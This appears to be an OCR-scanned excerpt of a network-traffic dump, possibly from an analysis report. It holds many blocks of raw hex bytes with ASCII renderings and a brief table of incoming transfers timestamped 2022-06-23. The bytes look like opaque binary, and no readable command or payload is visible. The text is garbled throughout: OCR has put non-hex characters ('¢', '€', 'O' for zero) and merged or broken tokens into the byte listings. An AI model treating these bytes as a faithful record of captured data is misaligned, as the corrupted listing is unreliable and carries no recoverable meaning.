4087 17 74 18 3d ec dd f9 51 1b 66 f9 6b ff 7f ce be 3d 98 30 32 65 67 f2 9f 3¢ 3f 48 ec fc ff f8 5¢ 29 e8 62 ea fc 20 ¢3 9d
2c 40 c9 44 e3 96 ea a0 c5 08 b9 f7 44 7b 65 Oa 18 e0 87 54 6a a9 fe 99 1c 35 bf €5 53 22 72 af f6 45 1f 54 6a a9 fe 99
1c 35 bf ¢1 7 70 02 38 be 90 61 90 9c 84 1a 59 92 27 1b 8c 7fal 8b 87 c1 83 b2 65 49 a3 0f 47 9a e0 36 4f 83 00 93 8a
0f 46 al de fa 85 2a 10 dc c6 5a 98 74 19 0Of 1a

Data Ascii: C%/@~Y!{flagycy"R1#Msr@>'Ei?e]xLRo;0VtE8.I<Z3@t=Qfk=02eg<?H\)b ,@DD{eT|5S"rETj5p8aY'elG
60F*Zt

Data Raw: 41 46 fb d7 5f Of c4 ae 46 5d ac 9e 56 c3 82 5e ef 00 ed 89 fd Oe e6 f4 3b 6¢ b6 12 41 04 53 2d 51 8a ab c8 f3
fO 6d 4c 47 72 56 62 65 4c 58 8e 91 a2 e5 15 48 c1 1f al 70 96 24 05 eb 31 3e 33 d2 70 4a el f1 €9 1b 91 6¢ ¢c6 f4 29 7d
al0d 1f el b8 97 16 c6 79 2e 3e 3c 83 64 1c b9 89 42 39 fd f5 9b 75 bb 59 1b 8a 1d fc 6¢ 3¢ 8b 34 d0 a6 f2 29 bf 80 1d
e4 54 db 46 63 73 72 15 49 82 3b 4f 9e 2b 22 b0 1e 9d 90 9c 9e 03 9b 38 a0 a5 Oa de 1f 77 c3 c5 67 33 78 02 6¢ Oe el
3c 83 61 7d 4c 15 ad 9c 60 1f 64 31 02 51 96 d6 f1 2b 38 dc ab cl 4f 14 3f 27 d9 9d fO 31 06 c5 15 bl 1c f2 €7 92 2e 07
7d e2 36 b0 60 d7 el e7 ae 52 2a 73 19 7d 8f ce 4c 37 c5 4f ef 7a 94 bd ef 94 d4 43 11 85 7b 59 4e 8e 18 f0 56 b6 87 08
41 5f 4f 8b 30 59 40 b2 3b 3d 69 9e ab 2c 92 9d 66 22 a9

Data Ascii: AF_F]V;IAS-QmLGrVbelL XHp$1>3pJl)ly.><dBuYI<4)TFcsrl;0+"8wg3xi<all 'd1Q+807?'1.}6'R*s}L70z
C{YNVA_O0Y@;=i,f"

Data Raw: b3 93 a0 Oa a0 00 92 0d 06 40 0d 8e bd 05 4c ¢3 84 67 59 b6 cd a5 bc 68 e3 b3 52 dc 83 38 b4 26 58 af b6 d5
4aea 1f 74 1f 99 af 44 dd 6b 16 3a 8f 4b 86 cd 5e 9d 07 c6 a2 1a 28 71 bb a0 51 ef 88 e5 f8 a0 f4 c6 44 ea e7 8d aa 24 f3
d6 73 87 77 57 86 58 d6 da b3 8d Oc 2¢ 4a 7c 0f 1d 8¢ 66 ca 41 c8 9c {7 5f 80 02 a4 40 f8 b7 b1l 96 Oc f4 64 22 1e ee 88
56 00 4e c4 c9 5a 20 b8 a9 6b a5 42 1a 6e 8d 4f 74 60 51 eb 4e 78 be f1 20 3b 98 58 Ob a8 45 75 00 a8 51 a7 bc 82 b3
09 5e 76 7d 18 d5 21 Of ¢6 c1 3d c2 1d b2 c5 6f 29 8a ce 6e 92 60 f9 27 ae 7f a4 30 50 74 b1 8e b5 89 43 c4 db ed 5f 95
bb 1d 98 e7 07 de f9 6f a8 50 cb ec ¢4 65 d9 0f c6 d9 19 9c a9 54 4d 44 b9 94 5d c9 f4 7a d1 37 bl 72 e7 db 4c Of b9 d7
le bf f1 38 d1 c2 eb ca 3e bd e7 44 7b da 00 76 66 65 e8

Data Ascii: @LgYhR8&XJItDk:KA(qQD$swWX,J|fA_@d"VNZ kBnOt'QNx ;XEuQ”v}!=0)n"'0PtC_oPeTMD]z7rL8>D{vfe
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Data

Data Raw: f3 63 fb 25 4e 7d ce 5e b3 79 64 02 2c e4 95 8b 48 9d 12 c1 04 92 d4 89 fe 8c 46 4c 4d 31 26 18 11 4a db 7e
bf b2 21 a7 3b 6b 00 88 6e 77 b4 83 de 87 77 ea fe e8 08 51 6d 9b 23 d0 c9 9c 2d 5b Oe d5 50 be 7d 3 9d 3c cc f3 02 2b
Oc 2f Oc 03 52 9f 84 66 3d f1 bb bc 69 ca Oc 4c 15 18 78 76 2f a9 08 a9 5d ed 7d 80 48 54 c2 le d9 af 9e 4f e3 ee da fO 5e
ec 87 6b 9e e2 19 27 ac 70 57 83 24 94 19 ab 5c 0b 0d 33 9d 53 3f 78 78 42 d7 66 €8 7f 7 f5 c0 d5 d3 a8 73 a9 c9 61 44
Oe 69 88 f8 b7 2c c4 63 28 3b 10 7c 88 25 f4 {3 6e {7 32 4a 3e 16 59 47 60 a0 2f 9f 07 6¢ 12 82 b7 de 71 b3 20 b3 3b 98
Ob 6f ca e6 47 97 12 38 32 7b 37 97 el 12 3b 6a 28 2e 4e Of ae 92 a3 da al c4 39 83 ac 73 82 c1 ef 91 05 91 05 b5 87 a4
53 8d 8d c5 43 84 23 53 ad 9f db af 76 47 a9 9f 09 69

Data Ascii: c%N}'yd,HFLM1&J~!;knwwQm#-[P}<+/Rf=iLxv/[}HTO"k'pW$\3S?xxBfsaDi,c(;|%n2J>YG /lq ;0G82{7;
J(:N9sSC#SVGi

Data Raw: 00 94 d5 fa 87 cf dd 50 df al c4 a5 24 55 93 30 00 90 04 28 bd c6 e0 2c fa 7a 13 ae 99 48 72 89 c8 44 f4 39
88 8f 60 dd 8a c0 7b a5 6d 38 be f5 7c 8a 7e 99 86 5f 79 07 d3 4a 07 5f b6 11 74 6 7b 53 25 35 ff d7 2d 89 1b cc 3d 3e
60 01 24 16 39 0a 4a 62 4b da b0 9c b3 e7 8e b2 69 3d f9 08 ed 8f 76 92 b2 22 15 69 87 af Oc b8 9a 8c 3e d1 18 14 el 1c
c6 e4 cldd e7 42 50 7c 95 91 04 7b 5f ae 87 34 19 44 b6 e6 f9 5¢ 00 d4 67 bd 2a b6 75 d9 1f 72 c3 e7 Oa 42 7d de c8 97
e2 8a 1f 29 4f 75 c9 58 c9 46 af 5d 4e 48 50 19 c3 bd f6 d6 8a c8 5b 67 e8 86 8e e7 bc d3 e4 8a 70 38 9e ed fb 76 00 47
a4 2c 32 02 95 72 4e a6 57 e4 98 2a 73 ed 24 4f 72 ¢3 9c b9 40 17 2f 99 79 3a 79 95 al a6 a5 a6 20 3d 4d c8 3a 3c 87 f5
62 62 81 06 68 96 da b8 Oe 5¢c 3e 2c Of 62 c8 ca 36 b1l a0

Data Ascii: P$UO(,zHrD9 {m8|~_yJ_t{S%5-=>"$9JbKi=v"i>BP[{_4D\g*urB})OuXF]NHP[gp8VG,2rNW*s$Or@/y:y =M:
<bbh\>,b6

Data Raw: 17 92 5a 41 1f 2e 5b 7c b9 55 74 52 fe 8f 11 91 68 69 bd 7a 2b cf f8 20 82 2c 44 el 26 4c 1f 85 d6 66 23 1a 90
4b 8b ef 4e d7 80 13 d4 5e b0 40 bb 4e Oc 3b 9a 73 cd a3 99 13 24 91 bd e5 79 7b 05 7e 6e 78 91 82 e2 e6 21 al 64 8e
2b 1f ba e6 e3 da 67 56 41 37 04 95 cc 05 6f f6 d0 39 34 f9 e0 3c 3d ac 48 58 1c 59 3b d1 09 8a b8 8a 3d be a4 75 2 2f
a5 5a 9d 9e c9 cb 7e 4b 46 Oe d9 03 2c 33 66 72 el 09 b1l 55 33 el 35 c1 40 35 bl 64 2e fa bc 78 84 39 42 fa 41 c9 6e 49
64 c7 fc 56 05 ff 14 d2 93 ea ca 85 27 19 ce d8 6d 99 5a c2 db 71 Ob 23 d2 2e 97 f3 48 ee 6b c0 49 fe e6 30 af 02 77 97
Oc a5 1b 43 52 el e4 49 6b a4 ed 65 63 64 {7 39 81 93 49 bc 65 a3 ed b3 92 b8 ba 03 e4 93 eb 48 1e c5 5e 93 a8 5¢ 53
58 61 ac b9 89 64 7d 80 b0 89 14 90 f5 5f f2 a4 6e f1 a4 ac

Data Ascii: ZA.[|UtRhiz+ ,D&LI#KN"@N;s$y{~nx!d+gVA7094<=HXY;=u/Z~KF,3frU35@5d.x9BANIdV'mZg#.HKIOWCRI
kecd9leHMN\SXad}_n

Data Raw: 03 13 49 33 8a 93 f9 f7 33 54 94 36 2b f4 97 fb ba 59 35 {7 ¢6 77 83 07 cf f1 c7 ad e4 b6 47 03 9f 65 d1 79 f8
c8 5e 3d 54 3f 4f 4e e7 df 5e 4c fb 32 7 56 5¢ fO Oa be 3e 58 97 dd 7d fa 56 7e 09 1a 2d a4 d5 b5 aa a0 6¢ c7 f7 2a cl 21
57 94 3552 a6 9f 09 31 56 41 da 47 63 7d ff 7c 02 18 d6 2e f1 d3 ea d5 d7 45 cb 78 4c d7 50 9d 05 b0 12 d3 bd b8 cc c2
f1 16 bd a6 5¢c 49 0f 55 1e 2b 53 a3 af 96 41 60 cf fd 64 c¢3 a9 32 64 db 52 37 22 13 ce a2 b5 68 d2 c7 67 3a 6a f7 04 69
bf 36 ff 63 56 1d 40 4f 74 8b 21 2f 46 c3 9b a4 4d 59 4e 42 bc ee 32 ee 7b 09 ed ab 39 d9 7e 78 88 01 3b 22 51 9c 93 2b
51 0d 89 3a 29 29 2f 32 3d 74 19 4e d6 6a 29 35 64 48 bc a9 91 a0 7e ce 49 d2 76 cd da 49 8b c2 fb af 19 fd 3c f7 2e 7b
2c 0b 80 bb 37 9f 66 2¢ b9 59 49 32 e3 cb b6 25 23

Data Ascii: I133T6+Y5wGey =T?0N"L2V\>X}V~-*IW5R1VAGc}|.EXLP\IU+SA d2dR7"hg:ji6cV@Ot//FMYNB2{9~x;"Q+Q
))/2=tNj)5dH~IVI<.{,7f, Y 12%#

Data Raw: 4e 5 Oc 6f 07 e6 75 4b 70 93 Of ae 55 46 b9 24 fe 40 dc 69 df b7 06 90 9f af 30 ed 44 35 73 55 27 96 d3 25 37
a7 d58e 09 e9 ce 37 7f 3c cd dc €8 85 3e 62 e6 55 a5 00 5d 57 91 74 36 €0 64 f1 70 73 fO b1l 5d 39 c7 eb 49 01 93 Ob 8c
87 aa e5 62 a4 9c 2e 95 0a 71 07 6¢ f3 70 26 64 22 96 eb 12 31 4b 19 a5 77 Oc db 68 9c 55 df 6 6d 41 2e 3b 8e 11 c0 03
ch 68 b9 e3 b7 87 a0 d6 c6 52 e0 36 8f f1 9a 85 a9 4f 01 8e af 1b c8 54 aa 20 ff ab 96 67 5c 7c fe 4d 98 cd b1 25 cd 5c¢ 8
70 e2 a4 d2 f7 20 c7 fd 97 42 3f 8f 1f 40 89 67 43 d5 82 d8 85 7d a9 04 28 60 c5 05 03 6d be d3 59 6e 67 c6 02 b5 f1 09
60 0b ae 37 1c 29 17 7ac3 €1 98 13 94 el 78 b1 84 0d a9 af a4 2d c5 63 91 le c8 a7 1d 02 ff 93 45 c5 4c 50 89 a8 ff 29
55 12 79 65 a5 2c 3f 8b 4d dc a7 05 67 2 55 b7 53

Data Ascii: NouKpUF$@i0D5sU'%77<>bU]Wt6dps]9lb.qlp&d"1KwhUmA.;hR60T g\|M%\p B?@gC}(mYng'7)zx-cELP)U
ye,?MguS

Data Raw: 9¢ b3 a3 e4 89 97 Oe 69 2e 69 d1 7c 05 c7 5d a4 e4 40 eb 6b 8e 9d el 58 9d 9e a4 4f d9 4c 68 9b 31 32 13 4d
cl 0f a3 caa2 43 e4 a4 7b 27 00 4c 27 06 d5 cc 00 fb 75 3b 5e 42 af b8 c2 a2 32 ee a4 85 51 8d ff e4 15 79 ce b5 da 65
d3 dc 2f 80 77 5f al 21 6f 58 d3 d6 1a 86 7f 4f 2e Ob eb 13 f4 46 6f 11 55 f2 4c 1c ea 5d 3f 58 51 d8 d7 Oa fc 60 93 8c 8b
e5 33 6f ad 81 98 17 e3 7a 9d ea ab 01 ac 31 f0 81 ce 1d fa 30 9 35 c4 b9 ff 77 e4 b3 55 25 e6 €9 4c 1d 54 ae 48 20 fa
49 af 19 b5 9d 21 d6 85 a3 3c 9d 04 9d d5 ef 15 ¢3 b4 c1 64 08 7e 70 d6 58 e3 €7 c5 05 Oc fO 47 c6 49 Oc df c6 02 a8 44
fa 52 dd 09 4c 09 83 al de 13 Oa 4c 08 3a 71 9b e3 59 37 40 b3 73 4c f1 c6 8¢ 5c cf 7d a8 9a ¢3 74 b2 38 5e 46 3c ea 90
b2 8f 53 f6 30 0d 2b 8d 6f 2f 3c 34 89 e4 c5 c6 2e e8

Data Ascii: i.i]@kXOLh12MC{'L'u;"B2Qye/w_!0XO.FoUL]?XQ'30z105WU%LTH I'<d~pXGIDRLL:qY7@sL\}t8"F<S0+0/<4.

Data Raw: ad 4b 41 d7 74 89 8d 28 f6 8c 77 2a ff cb bl 04 4c 97 79 23 90 21 bb 72 1a 61 0d d8 9c f8 e2 44 1f 28 al d2 7b
5d ff f9 e3 65 8b 32 97 fb 38 e2 d1 dd 18 82 90 e3 3e 47 20 53 87 38 b0 79 86 b6 c4 d6 66 ba de a6 af 8d c4 25 93 aa 68
a4 fb db ad 88 eb 83 e8 9e 56 58 c9 7a fd 22 34 a4 8a fc 8b b3 df e3 6d 32 bd 5¢ ec 41 7a 9d 90 c0 6d 9a ce d2 Of e7 dc
8 93 89 b4 c2 ef 07 07 6a cO 64 4b 3d 7c 76 6e c1 03 fc cf 7e 95 cc 8¢ el 54 fb 37 54 d9 34 07 77 02 18 eb c1 1d Oe 24
€6 a2 c2 27 07 b2 9d 76 2c d2 Oa 7e c5 f6 Ob db 74 ab e4 2e fc d1 7a 28 92 c8 06 3f 71 18 b2 f8 a5 1f 14 d3 22 6a 4f af
36 49 b9 bd 42 bb 6¢ 40 a2 41 8a 3c cc 9¢ 8b ec ba 1d ed 2c 49 7b 62 e0 e5 ef 26 69 19 6e 4e 1a 4d 81 7e 14 95 b3 fd fc
d4 ad a6 ad 63 cd 9d 3b 67 fc e0 45 45 bb b6 26 b5 44

Data Ascii: KAt(w*Ly#!raD({]e28>G S8yf%hVXz"4m2\AzmjdK=|vn~T7T4w$'v,~t.z(?q"jO6IBI@A<,|{b&NNM~c;gEE&D

Data Raw: 64 f2 71 33 da 23 26 3a 9d 8b ef 5¢ d5 4d ¢3 3a 78 5f 99 18 33 70 Oc d2 Oe 68 fd dO 9b b7 25 48 ce b4 2a b7
ea 8b a6 be 78 ef dc 69 ec ce 5c¢ 5f 3d 7a fc 85 47 5e 55 54 6d 03 78 8a 8e bd cd 6d 4e 4d 41 55 a2 32 da ae 9e cb a5 4b
ac a5 ac 85 07 1d b3 a0 04 bb 24 98 f3 1d 57 0d a5 ee c2 a0 02 Oa 75 1f cO cf a5 44 32 ee 75 f4 97 88 49 02 cd 4a 27 e8
ec 69 d6 e5 8a 32 37 00 7d 1e 01 79 db 5¢ ec 5b 2b 4b 5¢ 7e 92 94 22 b5 b2 a8 aa a9 2a Ob Ob 82 6e 7f 43 3d b7 1f db
a5 43 68 de 8e 3c ¢l 61 21 d2 02 95 99 3d 97 92 13 7f 2d 6a 27 42 75 03 c9 18 11 d1 4a 52 66 02 58 af 3d 36 f1 c5 c6 5e
fe Oe d3 76 f5 2c 07 2f 82 al 23 358b 72 17 74 Oe €8 82 74 af c6 36 7e 01 ee Oa 13 9e 1f 6d fd e3 4b 97 d9 1f 39 2 6a 77
1798 al db 46 03 1f 2e 7d 98 1a 36 50 a5 c3 8a 9d 67 24

Data Ascii: dq3#&:\M:x_3ph%H*xi\_=zG "UTmxmNMAU2K$WuD2ulJ'i27}y\[+K\~"*nC=Ch<al=-]'BUJRfX=6"v,/#5rtt6
~mK9jwF.}6Pg$

Data Raw: 32 6e 88 ec 11 15 el 1c 41 59 3a a0 79 29 e9 9d fb 93 1d 05 58 b5 fa 42 90 20 4c b3 30 19 97 8f d7 42 51 6b
eb 2f 71 cd 1d 68 11 6f 3c 04 05 8e ec bc 3f 09 d6 c9 9a 7c ef ae 38 Oe 98 cb e6 95 Oa 76 fa c3 2d e7 6f 89 23 f1 57 60 53
d9 84 ¢8 72 9b 9a f9 c3 9b b4 30 12 ec 8e ad d7 3f 4f 7b f9 65 94 5d 3e f3 60 25 Oc 8¢ 13 15 44 5a 74 e4 9 1f 62 fb dd 3¢
b4 e0 11 14 76 60 23 6¢ 04 b3 58 b1 9b fe f2 fe ac el 2f 51 55 d3 32 46 b4 7b b1 a5 84 86 f5 9e 93 ff f3 c1 8b 0a 55 6d 16
91 aa c9 2d 25 d2 2c 5a aa 18 14 08 c2 bf ab b6 2e 19 db fa 24 af de 73 3b 8e 9c b4 30 63 fc €8 €6 19 d3 ee 45 ba 19 2b
b5 89 ff 7e 11 86 3d eb ad 66 db 47 98 50 30 09 f9 8a b3 79 7a 27 7b b9 12 ce 52 26 75 8c 6¢ a5 f6 fe 32 7a 47 0d 92 e2
19 2d 7a 26 ac 93 88 c1 66 e7 a2 94 23 3f c8 Oa

Data Ascii: 2nAY:y)XB LOBQk/gho<?|8v-0#W"Sr0?0{e]> %DZtb<v #X/QU2F{Um-%,Z.$s;0cE+~=fGP0Oyz'{R&ul2zG-z&f#?
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kBytes

Timestamp transferred Direction
2022-06-23 16:19:25 UTC 461 IN
2022-06-23 16:19:25 UTC 469 IN
2022-06-23 16:19:25 UTC 476 IN
2022-06-23 16:19:25 UTC 484 IN
2022-06-23 16:19:25 UTC 492 IN
2022-06-23 16:19:25 UTC 500 IN
2022-06-23 16:19:25 UTC 508 IN
2022-06-23 16:19:25 UTC 515 IN
2022-06-23 16:19:25 UTC 523 IN
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Data

Data Raw: 81 2a 45 56 ba d7 df 8c 98 8b e0 3f d8 67 c2 91 40 f4 93 85 7b ab 4f b7 d2 3a 62 c8 f4 68 d0 0f 07 3c 42 7c 6d
b0 11 ed el 01 4e 00 f4 dd 22 78 42 87 94 64 94 95 34 cf 52 14 1f 4f 34 9f 99 13 4f fb 4b a0 93 73 8e d6 42 31 75 bl db
db 25 92 5d 79 01 bf 63 00 a4 45 29 86 ae 28 59 ba 32 d7 fe eb d4 c6 25 cf 00 32 53 30 88 7c 40 9a e3 72 b0 7f 9f 90 8f
42 a5 7c cc 9a a6 a0 04 1f ee Oa 2f 7a el 70 e3 e0 7 2d 1a 8d 84 d7 84 98 75 4a ec 78 e3 a9 5¢ 52 dd 00 al b4 54 a9 ed
9f a6 52 1b 0f 54 d9 eb 9f 13 b4 68 b3 95 8b e3 3 a6 1f e8 ff d4 Ob 5d c7 3e 35 3d 6d 99 f8 d3 2¢c 7d ec a8 63 09 8d 74 25
e0e7 bl 28 e2 al d6 f4 83 08 c6 9e c4 d3 ca a6 4a 7d fa cc 99 82 ea 66 00 f4 20 79 01 26 a5 4d 5e df c6 ff 4d 96 96 57
48 99 04 cc 78 95 c8 f5 1c 7a 1le 28 f6 c5 4d 38 14

Data Ascii: *EV?g@{O:bh<B|mN"xBd4RO40KsB1u%]ycE)(Y2%2S0|@rB|/zp-uJxX\RTRTh]>5=m,}ct%(J}f y&

MAMWHXxz(M8

Data Raw: 30 99 6¢ b1 12 6b 45 d1 2e 02 ae f4 2e cf c2 d5 64 9a b8 al 84 fe e2 21 38 b6 6d 68 4d a3 bf 89 ac 29 19 07
85 a0 69 88 ba 53 21 c2 c6 cc 1b e0 a9 94 b5 34 01 86 c2 bd 17 98 69 01 ea 15 3b 3a 5d 25 95 7b fc 70 5f 69 66 97 {8 07
94 86 ef 45 17 a5 24 d8 23 f7 fc ad 81 2a 41 cc 51 61 56 9c 19 77 cb 08 83 52 f4 00 ec 2b b2 1f 52 ac 56 63 6¢ 35 c2 78
cb f9 14 48 98 b0 03 00 d3 1a 7c 56 75 9c a6 6b e4 c5 52 ab c7 a9 2¢ 2c 69 24 6f 85 5 11 06 16 09 5e c0 47 c¢7 7b dc Ob
86 bc 97 5¢ fe db 65 a2 30 38 ac 5a ca 55 47 9e b6 8b 1c 24 95 3b 27 d8 18 22 2b b9 f9 15 da 02 af c3 49 e3 08 c4 ce 54
8 d0 60 7d Oe 5b 21 81 69 ee 3d 66 a4 d5 19 b0 bf af 44 09 ac b9 93 0d 75 c9 db 97 d0 00 54 47 92 37 e3 48 2c 87 b3 59
b9 fa f9 2d 2a 31 0a 47 2d 1le 62 3c b5 6d c2 a9 7a a6 32

Data Ascii: OIKE..d!8mhM)iS!4i;:]%{p_IifE$#*AQaVWR+RVcI5xH|VUkR,,i$0"G{\e08ZUGS$; " +IT }!i=fDUTG7H,Y-*1G-b<mz2

Data Raw: 3b 85 de df b0 6b a7 42 58 40 f3 f1 05 de 4b 66 84 dc 90 a6 8f 0d 54 6¢ 6e e4 00 98 5d 0d de d7 21 3f 11 5b
€285 69 7d 81 2d 32 c6 3c 76 fb 2a be 25 f0 1c 45 93 4e 2e 1a 65 9a 94 ce 67 7c a6 1c 58 a7 21 5b 47 52 24 dO ca cd 45
55d1 19 95 dd dc d2 88 1c 88 17 b4 ee 45 2d 1a f0 66 bf 0a 14 04 19 a3 ed ae cc 29 69 f6 98 d1 34 72 9a af 44 44 1b el
4381 30 ce 39 be 2b 3d ab e3 a8 c9 8e 7b 6b 44 69 ad Ob 9c 1a Oc 7a d9 c3 4e 92 d8 el 46 40 2c bl c2 52 59 47 6e 5d
12 d6 e2 59 67 66 fd 65 €3 69 9c ec 16 ac 87 64 5c¢ f5 68 fO a5 87 f6 aa 96 b3 1b 7f 74 4b b0 fa 6f ad 92 64 f1 68 15 2¢c b8
fd 20 1f 69 70 77 24 4b 44 Ob d6 78 42 94 10 94 cd f0 42 a5 df df a3 03 3¢ el Ob cc 5f bl e2 ae 99 9f 78 a9 63 3a 65 96
b5 7c 4c 39 d4 99 a2 5b ce 53 f6 6¢ 1e 4b 19 7d 3c 3c 5f

Data Ascii: ;kBX@KITIn]!?[i}-2<v*%EN.eg|X![GR$EUE-f)i4rDDC09+={kDizNF@,RYGn]Y gfeid\htKodh, ipw$KDxBB
<_xc:e|L9[SIK}<<_

Data Raw: Ob 86 a0 46 7f 1e 2e 84 47 9a 3d a8 bc f8 80 d0 4a 79 3a a0 9d ed 29 7f f9 b4 af 4f d3 d9 a8 42 b0 b0 3f ba 71
27 8b a3 0f 53 e6 94 8e cf el 7b 05 86 €9 25 7 3f e8 28 05 ¢9 59 d1 e8 de a4 24 64 2e 16 66 01 35 ee 9c 93 da f2 8a 83
0d b5 72 dc 78 50 3¢ 43 8c d6 14 8b de 16 2f 16 bb 49 26 3d 26 14 53 35 14 05 ee 44 cf eb a7 ce ce f4 5d b8 7e 5f bf a4
12 6a 71 b7 ad 5 21 46 4d 9a 7d 5c 3e e5 3f 9f fe ¢8 b3 d0 b7 33 21 d8 c4 9c 27 da 37 9a 00 d8 8c 79 00 b4 b9 22 cd 6e
61 09 24 d7 8e 6f 40 56 10 43 4e 8f ed 75 df dc c4 37 4f de bc c4 6e cf 3c d6 f1 ae fb 6d 5d 21 48 e0 2f 13 19 16 89 1le 5a
d1 8d 71 77 5a 0f 52 8¢ f5 01 fa 67 3b 05 37 b7 b6 1c cd f6 €0 c9 76 c4 f4 84 ee e0 6¢ 06 4c dc ea e6 f6 07 96 f4 1f a7 3d
11 7a 83 7c 7b 2b 87 2f 08 8e 3d 17 08 5d 86 35

Data Ascii: F.G=Jy:)OB?q'S{%?(Y$d.f5rxP<C/I&=&S5D]~_jq!FM}\>?3!'7y"na$o@VCNu70n<m]!H/ZqwZRg;7vIL=z|{+/=]5

Data Raw: a6 c5 ca 2d bl ef d0 a5 Oc e8 11 5¢ 1a 29 fb 8c a0 cb b5 5e 89 2e d8 6e 8 14 ed ff 34 61 b5 a8 46 0f 34 02 5b
a4 92 71 8e a5 be bc a8 f4 2f 49 48 a5 e6 6e b1 98 85 3c 3c d7 1c fb 99 06 2e Of 29 82 76 39 fa 51 3b 42 e8 bf {3 86 {7 4f
b9 5a d4 66 bb ed d6 57 d5 63 f8 26 b9 4c a8 77 7f 2f 13 86 16 46 5d b3 c¢7 61 38 71 55 26 46 c8 24 4a d9 32 2c 3d €9 54
5d 73 b0 26 fd 51 cc 37 4d 6b 30 75 bb a7 fa bf 85 b8 c0 2d ee d4 10 bl 4e 99 9b 10 53 09 75 a5 f7 14 23 3a 56 cc 17 6¢
eb 50 Ob 4d bd 48 87 fe 33 e5 ab bd 4f a8 9¢ 53 ¢7 38 e0 f1 43 6¢ 70 7c b0 30 39 8¢ 16 61 3c 02 e7 d8 3b 92 2d c7 4b c9
b7 53 32 7e dc c8 72 43 04 cf a0 ac 39 bd 0a 72 01 c9 94 d9 5d 3e d1 44 a2 76 8b 81 a5 6d c6 24 35 6f fe df b4 dd f2 36
17 fe a8 45 ba a8 22 38 62 f0 30 10 75 b2 ee c0 4d

Data Ascii: -\)*.n4aF4[q/IHn<<.)v9Q;BOZfWc&Lw/Fla8qU&F$J2,=T]s&Q7Mk0u-NSu#:VIPMH30S8Clp|09a<;-KS2~rC
9r]>Dvm$506E"8b0uM

Data Raw: 6e 39 c9 59 2d 7c 2d 6b b9 Oa b7 38 0f 38 b7 dc 03 f4 b2 7d 23 40 37 79 b2 f4 39 a4 cc f9 b7 e9 c5 da 19 67
19 af 6e 5d 6b b0 2f a0 17 Ob 19 f8 72 12 10 db 1e 99 83 fa 4c cd b3 ¢8 21 fa 15 a0 6a 63 6¢ a2 d2 4d 74 68 d5 bc 64 cc
6f cc a2 a6 32 46 68 75 1e 29 bc cd a9 73 07 44 6f 57 28 6d 43 65 76 Ob 1la e5 44 68 68 fc 90 cb 90 13 2¢ 92 3e 50 0f 61
a4 cc 3f 2b c6 6¢ 6a c7 0d a8 82 d5 5a 56 2f d6 bf 42 c2 1b ae cc 4c 54 6b 4c 7f f2 67 77 d5 19 3f 96 3d 2a ce 5b c5 7 2a
b3 11 fe ce 1c 41 f6 93 6b 57 ¢4 59 51 74 1d c0 40 92 6f 86 05 64 d2 1a 7e 9e 70 4e cb c9 f6 1b a7 Oc d8 2f 73 59 c5 Of
e8dc 49 21 e7 el 56 02 ae a6 1d 10 96 f5 bd f1 bf da f3 17 82 68 5d 52 83 73 3 23 50 2c c4 cf 0d 76 6¢ 7 1c 36 be 3e
d4 4f ff 59 bb 10 8b 6a 27 3e 20 72 e5 6f 91 6¢ 03 c8

Data Ascii: n9Y-|-k88}#@7y9gn]k/rL!jcIMthdo2Fhu)sDoW(mCevDhh,>Pa?+ljZV/BLTkLgw?=*[*AkWYQt@od~pN/sYI!
Vh]Rs#P,vI6>0Yj"> rol

Data Raw: €9 cb 70 90 b0 50 13 ce a9 1e b7 bc e8 8d 75 8d 07 d9 63 b7 fa 88 c2 e4 b0 00 23 91 9f 21 5e 32 3d bb 25 81
5a 0a e2 b0 36 a9 21 78 8f 6a 75 70 cf ce 86 4e 73 2e cO 68 60 €0 89 70 c9 7f eb 61 8a Oc al 6d 39 79 a6 85 b3 c5 13 25
3b aa dc 9a dd 90 fc de 51 c5 64 4d c7 50 05 4e el 36 64 e3 cc d9 bb 89 d8 1d 35 77 25 87 00 33 03 ab 67 21 d2 03 b4
16 a9 a6 d5 ce 7e 20 7a 1d ce 64 al a9 al 82 4d d2 47 2e 40 3f f7 55 42 5a 6 f4 98 16 01 92 5e 07 63 77 6b 5d 7f 24 1b
f2 19 15 6f 23 bd df 5e 10 17 b0 ea 9f 83 ab 1f 59 03 22 2d 63 3d 2f b3 68 dc 03 4c bb 73 fb a7 c4 9e fb d5 a5 e2 e3 2e 42
03 6f cc ee 22 94 d6 4d 7b a9 2 76 db 20 13 2¢ 17 90 8d 09 d2 59 9b 67 7e eb 5b 59 50 ec ch €8 4c dc f2 e0 a2 40 4f 44
9e f0 40 80 81 ea 64 cc 48 71 1d 42 62 00 86 16 3f 5d ee

Data Ascii: pPUC#1"2=%Z61xjupNs.h"pam9y%;QdMPN6d5w%3g!~ zdMG.@?UBZ cwk]$o#AY"-c=/hLs.Bo"M{v ,Yg~[YPL
@OD@dHqBb?]

Data Raw: 4c 70 3f 74 84 9d 4d 96 a0 df 19 08 a4 68 d0 b7 3d eb 57 6a c6 f7 1d 3b 1f 76 3d 5e ef 8d ec 13 d5 8b 1c cf e2
37 4b 13 1d d4 cd 27 33 b0 5e 08 f6 a2 e6 17 6a d9 24 fa e3 a7 09 3f d7 5¢ b7 98 a4 9e c9 97 44 8e 9d 90 73 01 35 bb ed
72 0a 03 3b b0 64 Ob aa a6 bd 7c 71 e5 6d 2e 8a c0 f9 5 76 bf 59 0Ob fe f1 13 5b d5 07 88 01 6f 50 75 87 de da e6 75 a6
6a 92 9d be 55 54 03 8a fa 12 31 c0 4f b0 d3 b8 43 aa d9 72 cc a5 6¢ 3f 82 26 cf d8 39 df 88 fO 24 8d 3b 89 63 67 f4 06 af
d5 ee 77 e5 3e 1la ca b9 4c 2a c8 d5 c4 fe 06 32 21 9b 8¢ 91 6f 66 8 5f Oc 6d 16 09 8e 00 b3 el 17 ab d6 f4 87 0d da 47
10 a3 1a 98 5¢ 30 ¢6 47 82 53 09 Oa ca 37 42 3c 9d d6 3e bb 95 4e b8 d8 92 b7 db f5 20 b3 c4 82 1d 9f 04 00 24 50 41
73 65 ac 40 cc 3¢ 84 f4 3e b5 92 fd d3 c9 47 54 e5 7

Data Ascii: Lp?tMh=Wj;v="7K'3%$?\Ds5r;d|gm.vY[oPuujuT10Cr?&9%;cgw>L*2!lof_mG\0GS7B<>N $PAse@<>GT

Data Raw: 42 dd 32 65 4a 08 b0 99 81 1e 85 0a c7 43 24 89 67 2e 64 5f d4 42 96 56 fa 57 b5 93 67 44 8a 3¢ 34 90 a5 11
8517 5f 2531 93 d2 37 c2 d0 e5 4c e5 f2 dd f4 28 e5 5 5d a2 9c d4 76 96 14 8d 20 8e el 26 ff 5d 41 98 41 e5 b4 ee 03
